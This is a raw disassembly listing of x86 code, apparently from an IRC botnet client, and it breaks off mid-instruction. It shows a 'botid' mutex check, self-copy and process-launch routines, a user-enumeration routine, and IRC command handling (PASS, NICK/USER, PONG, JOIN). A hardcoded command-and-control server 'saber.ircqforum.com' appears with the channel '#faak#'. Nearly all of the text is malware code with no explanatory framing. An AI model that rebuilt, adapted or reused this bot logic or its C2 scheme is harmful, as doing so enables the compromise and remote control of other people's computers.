[ebp+var_4] cmp edi, esi jz short loc_40E465 push edi call dword_43AE28 xor edi, edi mov [ebp+var_4], edi loc_40E465: ; CODE XREF: sub_40E337+A5j ; sub_40E337+120j cmp [ebp+var_C], 0EAh jz loc_40E376 cmp edi, esi jz short loc_40E47D push edi call dword_43AE28 loc_40E47D: ; CODE XREF: sub_40E337+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40E337 endp ; =============== S U B R O U T I N E ======================================= sub_40E4B7 proc near ; CODE XREF: sub_40DAF0+41p ; sub_40DCE6+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40E569 jz loc_40E562 cmp eax, 7Bh ja short loc_40E52E jz short loc_40E524 cmp eax, 5 jz short loc_40E51A cmp eax, 8 jz short loc_40E510 cmp eax, 32h jz short loc_40E506 cmp eax, 35h jz short loc_40E4FC cmp eax, 57h jnz loc_40E5B8 push offset aInvalidParamet ; "Invalid parameter." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E4FC: ; CODE XREF: sub_40E4B7+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E506: ; CODE XREF: sub_40E4B7+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E510: ; CODE XREF: sub_40E4B7+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E51A: ; CODE XREF: sub_40E4B7+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E524: ; CODE XREF: sub_40E4B7+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E52E: ; CODE XREF: sub_40E4B7+1Aj sub eax, 7Ch jz short loc_40E55B sub eax, 7C8h jz short loc_40E554 dec eax jz short loc_40E54A dec eax jnz short loc_40E5B8 push offset aDuplicateShare ; "Duplicate share name." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40E4B7+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E554: ; CODE XREF: sub_40E4B7+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E55B: ; CODE XREF: sub_40E4B7+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E562: ; CODE XREF: sub_40E4B7+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E569: ; CODE XREF: sub_40E4B7+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40E5A2 jz short loc_40E59B sub eax, 8ADh jz short loc_40E5CD dec eax dec eax jz short loc_40E594 dec eax jz short loc_40E58D dec eax dec eax jnz short loc_40E5B8 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E58D: ; CODE XREF: sub_40E4B7+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E594: ; CODE XREF: sub_40E4B7+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E59B: ; CODE XREF: sub_40E4B7+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5A2: ; CODE XREF: sub_40E4B7+B9j sub eax, 8CAh jz short loc_40E5D4 sub eax, 17h jz short loc_40E5CD sub eax, 25h jz short loc_40E5C6 sub eax, 29h jz short loc_40E5BF loc_40E5B8: ; CODE XREF: sub_40E4B7+35j ; sub_40E4B7+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5BF: ; CODE XREF: sub_40E4B7+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5C6: ; CODE XREF: sub_40E4B7+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5CD: ; CODE XREF: sub_40E4B7+C2j ; sub_40E4B7+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E5D4: ; CODE XREF: sub_40E4B7+F0j push offset aNetworkConnect ; "Network connection not found." loc_40E5D9: ; CODE XREF: sub_40E4B7+40j ; sub_40E4B7+4Aj ... push offset dword_43F408 call sub_4172B0 pop ecx mov eax, offset dword_43F408 pop ecx retn sub_40E4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E5EB proc near ; CODE XREF: sub_40EE72+2231p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4199B9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi nop call near ptr 27C0000h lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4199B9 lea eax, [ebp+var_718] push eax call sub_41999C add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_43ADA8 test eax, eax jnz short loc_40E67B mov esi, offset dword_43F204 push offset dword_42F568 push esi call sub_4172B0 pop ecx pop ecx jmp short loc_40E6A4 ; --------------------------------------------------------------------------- loc_40E67B: ; CODE XREF: sub_40E5EB+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_40E4B7 pop ecx mov esi, offset dword_43F204 push eax push offset dword_42F530 push esi call sub_4172B0 add esp, 14h loc_40E6A4: ; CODE XREF: sub_40E5EB+8Ej mov eax, esi pop esi leave retn sub_40E5EB endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-0Ch], ebx mov dword ptr [ebp-8], offset sub_40D3A5 push dword ptr [ebp-8] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_424058 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4CD5F0, eax call esi push eax call sub_417302 pop ecx call sub_40981F push 2 call dword_43AE44 push 7530h push offset aBotid ; "botid" push ebx push ebx nop call near ptr 27D03A3h push eax nop call near ptr 2650A74h cmp eax, 102h jnz short loc_40E726 push 1 call near ptr 77E75CB5h nop loc_40E726: ; CODE XREF: ___:0040E71Cj lea eax, [ebp-884h] push eax push 202h call dword_43AD10 cmp eax, ebx mov [ebp-8], eax jnz loc_40EB89 cmp byte ptr [ebp-884h], 2 jnz loc_40EB83 xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_40EB83 mov esi, 104h lea eax, [ebp-3F0h] push esi push eax call near ptr 2620000h nop lea eax, [ebp-2ECh] push esi push eax push ebx call near ptr 2720C42h nop push eax call near ptr 2660000h nop lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_4192B8 add esp, 14h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp-5F4h] push esi push eax call sub_41782A lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_417880 add esp, 1Ch test eax, eax jnz loc_40E98C cmp dword_42F5BC, ebx mov esi, offset byte_42F674 jz short loc_40E824 push esi xor edi, edi call sub_417AB0 sub eax, 4 pop ecx jz short loc_40E824 loc_40E801: ; CODE XREF: ___:0040E822j call sub_41730C push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_42F674[edi], dl inc edi call sub_417AB0 sub eax, 4 pop ecx cmp edi, eax jb short loc_40E801 loc_40E824: ; CODE XREF: ___:0040E7F1j ; ___:0040E7FFj lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset aSS_3 ; "%s\\%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 26902BBh cmp eax, 0FFFFFFFFh jz short loc_40E864 lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2770000h loc_40E864: ; CODE XREF: ___:0040E850j mov esi, dword_424160 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_40E87B: ; CODE XREF: ___:0040E8B2j call esi test eax, eax jnz short loc_40E8B4 nop call near ptr 2650B3Dh cmp edi, ebx jnz short loc_40E8B4 cmp eax, 20h jz short loc_40E895 cmp eax, 5 jnz short loc_40E8B4 loc_40E895: ; CODE XREF: ___:0040E88Ej push 1 pop edi push 3A98h nop call near ptr 2610F93h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_40E87B ; --------------------------------------------------------------------------- loc_40E8B4: ; CODE XREF: ___:0040E87Fj ; ___:0040E889j ... lea eax, [ebp-1E8h] push eax call sub_40AB7C pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2770000h push 10h lea eax, [ebp-1Ch] push ebx push eax call sub_417330 push 44h lea eax, [ebp-64h] pop esi push esi push ebx push eax call sub_417330 add esp, 18h mov [ebp-64h], esi mov dword ptr [ebp-58h], offset byte_436EDC mov [ebp-34h], bx push 1 pop esi mov [ebp-38h], esi nop call near ptr 27C0E86h push eax push esi push 100000h nop call near ptr 2720696h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_42F7EC push eax call sub_4172B0 add esp, 14h lea eax, [ebp-1Ch] push eax lea eax, [ebp-64h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax call near ptr 27505A0h nop test eax, eax jz short loc_40E98C push 0C8h call near ptr 2610F93h nop push dword ptr [ebp-1Ch] mov esi, dword_424078 call esi push dword ptr [ebp-18h] call esi call dword_43ACF8 push ebx nop call near ptr 77E75CB5h loc_40E98C: ; CODE XREF: ___:0040E7E0j ; ___:0040E962j cmp dword_4CD9D0, 2 jle short loc_40E9D8 mov eax, dword_4CD9D4 push dword ptr [eax+4] call sub_41781F pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2650A74h push esi nop call near ptr 2631A0Bh mov eax, dword_4CD9D4 cmp [eax+8], ebx jz short loc_40E9D8 push 7D0h call near ptr 2610F93h nop mov eax, dword_4CD9D4 push dword ptr [eax+8] nop call near ptr 27C0D8Bh loc_40E9D8: ; CODE XREF: ___:0040E993j ; ___:0040E9BDj cmp dword_42F5C0, ebx jz short loc_40E9F5 cmp dword_43AE68, ebx jnz short loc_40E9F5 lea eax, [ebp-5F4h] push eax call sub_40C1AE pop ecx loc_40E9F5: ; CODE XREF: ___:0040E9DEj ; ___:0040E9E6j lea eax, [ebp-0E4h] push offset dword_42F7C4 push eax call sub_4172B0 push ebx lea eax, [ebp-0E4h] push ebx push eax call sub_416D5C lea eax, [ebp-0E4h] push eax call sub_40BF6D push 0B80h push ebx push offset dword_43FA70 call sub_417330 call sub_41730C push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CD5FC mov dword_4CD770, ebx call sub_418C10 mov eax, dword_42F5A0 push 3Fh mov edi, offset dword_4CD67C push offset aFaak ; "#faak#" push edi mov dword_4CD74C, eax call sub_418C10 push 3Fh mov esi, offset dword_4CD6BC push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 48h mov dword_4CD750, ebx loc_40EA83: ; CODE XREF: ___:0040EB29j ; ___:0040EB34j ... mov [ebp-4], ebx loc_40EA86: ; CODE XREF: ___:0040EADDj cmp dword_43AE80, ebx jnz short loc_40EAA4 lea eax, [ebp-20h] push ebx push eax call dword_43ACDC test eax, eax jnz short loc_40EAA4 push 7530h jmp short loc_40EAD0 ; --------------------------------------------------------------------------- loc_40EAA4: ; CODE XREF: ___:0040EA8Cj ; ___:0040EA9Bj push offset dword_4CD5F8 mov dword_4CD76C, ebx call sub_40EB92 cmp eax, 2 mov [ebp-8], eax jz loc_40EB7E cmp dword_4CD76C, ebx jz short loc_40EACB dec dword ptr [ebp-4] loc_40EACB: ; CODE XREF: ___:0040EAC6j push 0BB8h loc_40EAD0: ; CODE XREF: ___:0040EAA2j nop call near ptr 2610F93h inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_40EA86 cmp dword ptr [ebp-8], 2 jz loc_40EB7E cmp [ebp-0Ch], ebx jz short loc_40EB2E push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4CD5FC call sub_418C10 mov eax, dword_42F5A0 push 3Fh push offset aFaak ; "#faak#" push edi mov dword_4CD74C, eax call sub_418C10 push 3Fh push offset aSaad_ ; "saad." push esi call sub_418C10 add esp, 24h mov [ebp-0Ch], ebx jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB2E: ; CODE XREF: ___:0040EAECj cmp byte_42F650, bl jz loc_40EA83 push 7Fh push offset byte_42F650 push offset dword_4CD5FC call sub_418C10 mov eax, dword_42F5A4 push 3Fh push offset aFaak_0 ; "#faak#" push edi mov dword_4CD74C, eax call sub_418C10 push 3Fh push offset aSaad__0 ; "saad." push esi call sub_418C10 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_40EA83 ; --------------------------------------------------------------------------- loc_40EB7E: ; CODE XREF: ___:0040EABAj ; ___:0040EAE3j call sub_416F25 loc_40EB83: ; CODE XREF: ___:0040E74Aj ; ___:0040E75Aj call dword_43ACF8 loc_40EB89: ; CODE XREF: ___:0040E73Dj pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB92 proc near ; CODE XREF: ___:0040EAAFp ; DATA XREF: sub_40EE72+3B0Co var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40EBB7: ; CODE XREF: sub_40EB92+E6j ; sub_40EB92+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_43AD98 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40ADCA test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40ECE4 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_417330 push 0 lea eax, [ebp+var_2C] push dword_4CD760 push dword_42F5CC push eax call sub_415D01 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_440808 push edi push eax call sub_418C10 add esp, 28h push 6 push 1 push 2 call dword_43AE18 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_4407FC[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_43AD40 cmp eax, 0FFFFFFFFh jnz short loc_40EC7D push esi call dword_43AE30 call sub_40ADF3 push 7D0h loc_40EC72: ; CODE XREF: sub_40EB92+146j call near ptr 2610F93h nop jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40EC7D: ; CODE XREF: sub_40EB92+CDj lea eax, [ebp+var_18C] push eax push offset dword_42F7F8 call sub_40BFE1 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40ECFA add esp, 28h mov edi, eax push esi call dword_43AE30 test edi, edi jz loc_40EBB7 cmp edi, 1 jnz short loc_40ECDA push 0DBBA0h jmp short loc_40EC72 ; --------------------------------------------------------------------------- loc_40ECDA: ; CODE XREF: sub_40EB92+13Fj cmp edi, 2 jz short loc_40ECE8 jmp loc_40EBB7 ; --------------------------------------------------------------------------- loc_40ECE4: ; CODE XREF: sub_40EB92+5Aj xor eax, eax jmp short loc_40ECF4 ; --------------------------------------------------------------------------- loc_40ECE8: ; CODE XREF: sub_40EB92+14Bj push [ebp+var_34] call sub_417078 pop ecx push 2 pop eax loc_40ECF4: ; CODE XREF: sub_40EB92+154j pop edi pop esi leave retn 4 sub_40EB92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECFA proc near ; CODE XREF: sub_40EB92+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_417B30 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40ED18: ; CODE XREF: sub_40ECFA+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40ED18 cmp byte_4CD768, bl jz short loc_40ED3F push offset byte_4CD768 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40D633 add esp, 0Ch loc_40ED3F: ; CODE XREF: sub_40ECFA+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_415D01 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_4172B0 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_40EDA9 push [ebp+arg_0] call dword_43AE30 push 1388h nop call near ptr 2610F93h loc_40EDA2: ; CODE XREF: sub_40ECFA+D9j ; sub_40ECFA+153j xor eax, eax loc_40EDA4: ; CODE XREF: sub_40ECFA+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40EDA9: ; CODE XREF: sub_40ECFA+92j ; sub_40ECFA+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_43ADB0 test eax, eax jle short loc_40EDA2 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_40A868 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40EDA9 lea edi, [ebp+var_A10] loc_40EDFA: ; CODE XREF: sub_40ECFA+165j push 1 pop esi loc_40EDFD: ; CODE XREF: sub_40ECFA+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_40EE72 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40EE40 push 7D0h nop call near ptr 2610F93h jmp short loc_40EDFD ; --------------------------------------------------------------------------- loc_40EE40: ; CODE XREF: sub_40ECFA+137j cmp esi, 0FFFFFFFDh jz short loc_40EE6A cmp esi, 0FFFFFFFEh jz short loc_40EE66 cmp esi, 0FFFFFFFFh jz loc_40EDA2 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40EDFA jmp loc_40EDA9 ; --------------------------------------------------------------------------- loc_40EE66: ; CODE XREF: sub_40ECFA+14Ej push 1 jmp short loc_40EE6C ; --------------------------------------------------------------------------- loc_40EE6A: ; CODE XREF: sub_40ECFA+149j push 2 loc_40EE6C: ; CODE XREF: sub_40ECFA+16Ej pop eax jmp loc_40EDA4 sub_40ECFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE72 proc near ; CODE XREF: sub_40ECFA+12Ap var_15B0 = byte ptr -15B0h var_11B0 = byte ptr -11B0h var_FB0 = byte ptr -0FB0h var_DB0 = byte ptr -0DB0h var_CB0 = byte ptr -0CB0h var_CAC = byte ptr -0CACh var_BAC = byte ptr -0BACh var_BA8 = byte ptr -0BA8h var_AA8 = byte ptr -0AA8h var_A28 = byte ptr -0A28h var_9C7 = byte ptr -9C7h var_9C6 = byte ptr -9C6h var_9C4 = byte ptr -9C4h var_9C3 = byte ptr -9C3h var_9BA = byte ptr -9BAh var_9B8 = byte ptr -9B8h var_9B6 = byte ptr -9B6h var_9B5 = byte ptr -9B5h var_928 = byte ptr -928h var_90C = dword ptr -90Ch var_908 = byte ptr -908h var_804 = dword ptr -804h var_800 = dword ptr -800h var_7FC = byte ptr -7FCh var_7F8 = dword ptr -7F8h var_7F4 = byte ptr -7F4h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = byte ptr -7E8h var_780 = byte ptr -780h var_774 = byte ptr -774h var_770 = dword ptr -770h var_76C = byte ptr -76Ch var_768 = byte ptr -768h var_75C = byte ptr -75Ch var_73C = dword ptr -73Ch var_738 = byte ptr -738h var_710 = dword ptr -710h var_708 = byte ptr -708h var_6FC = dword ptr -6FCh var_6F8 = byte ptr -6F8h var_6F4 = byte ptr -6F4h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_6E8 = byte ptr -6E8h var_6B8 = byte ptr -6B8h var_681 = byte ptr -681h var_680 = byte ptr -680h var_678 = byte ptr -678h var_670 = byte ptr -670h var_66C = byte ptr -66Ch var_668 = byte ptr -668h var_5F8 = byte ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_570 = dword ptr -570h var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = dword ptr -564h var_560 = dword ptr -560h var_55C = byte ptr -55Ch var_50C = dword ptr -50Ch var_508 = byte ptr -508h var_504 = dword ptr -504h var_500 = byte ptr -500h var_4F4 = dword ptr -4F4h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = byte ptr -4E8h var_4C0 = byte ptr -4C0h var_4A0 = dword ptr -4A0h var_488 = byte ptr -488h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_458 = byte ptr -458h var_444 = byte ptr -444h var_434 = byte ptr -434h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_3FC = byte ptr -3FCh var_3F8 = byte ptr -3F8h var_3D8 = byte ptr -3D8h var_3B4 = byte ptr -3B4h var_398 = byte ptr -398h var_388 = byte ptr -388h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = byte ptr -2F8h var_2EC = word ptr -2ECh var_2EA = word ptr -2EAh var_2E8 = dword ptr -2E8h var_2DC = byte ptr -2DCh var_DC = dword ptr -0DCh var_D8 = byte ptr -0D8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 15B0h call sub_417B30 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2DC] push ebx push eax mov [ebp+var_C0], 3 mov [ebp+var_10], ebx mov [ebp+var_AC], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_DC], ebx call sub_417330 push 1Bh lea eax, [ebp+var_928] push [ebp+arg_10] push eax call sub_418C10 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40F239 push esi lea eax, [ebp+var_FB0] push ebx push eax call sub_417330 dec esi lea eax, [ebp+var_FB0] push esi push [ebp+arg_0] push eax call sub_418C10 lea eax, [ebp+var_FB0] push offset asc_432E88 ; " :" push eax call sub_417880 mov [ebp+var_C], eax lea eax, [ebp+var_FB0] push esi push eax lea eax, [ebp+var_11B0] push eax call sub_418C10 mov esi, offset asc_42A3B4 ; " " lea eax, [ebp+var_11B0] push esi push eax call sub_418B6E add esp, 34h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+var_BC], 1Fh loc_40EF45: ; CODE XREF: sub_40EE72+E7j push esi push ebx call sub_418B6E mov [edi], eax pop ecx add edi, 4 dec [ebp+var_BC] pop ecx jnz short loc_40EF45 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40F239 cmp [ebp+var_90], ebx jz loc_40F239 push 100h lea eax, [ebp+var_A28] push ebx push eax call sub_417330 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40EF93: ; CODE XREF: sub_40EE72+153j mov eax, [ecx] cmp eax, ebx jz short loc_40EFBF cmp byte ptr [eax], 2Dh jnz short loc_40EFC7 cmp [eax+2], bl jnz short loc_40EFC7 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A28], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40EFBF: ; CODE XREF: sub_40EE72+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40EF93 loc_40EFC7: ; CODE XREF: sub_40EE72+12Aj ; sub_40EE72+12Fj cmp [ebp+var_9B5], bl jz short loc_40EFD2 mov [ebp+var_8], edi loc_40EFD2: ; CODE XREF: sub_40EE72+15Bj cmp [ebp+var_9BA], bl jz short loc_40EFE0 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40EFE0: ; CODE XREF: sub_40EE72+166j cmp byte ptr [esi], 0Ah jz short loc_40F01A push 7Fh lea eax, [ebp+var_AA8] push esi push eax call sub_418C10 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_D8] push eax call sub_418C10 lea eax, [ebp+var_D8] push offset asc_432E84 ; "!" push eax call sub_418B6E add esp, 20h loc_40F01A: ; CODE XREF: sub_40EE72+171j push esi push offset aPing ; "PING" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F06B push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_40D633 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40F10F push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h jmp loc_40F10F ; --------------------------------------------------------------------------- loc_40F06B: ; CODE XREF: sub_40EE72+1B7j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a005 ; "005" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4150D3 push esi push offset a302 ; "302" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40F0D3 push offset a@ ; "@" push [ebp+var_88] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_40F10F inc eax push 9Fh push eax push [ebp+arg_1C] call sub_418C10 jmp short loc_40F10C ; --------------------------------------------------------------------------- loc_40F0D3: ; CODE XREF: sub_40EE72+238j push esi push offset a433 ; "433" call sub_4176D0 pop ecx test eax, 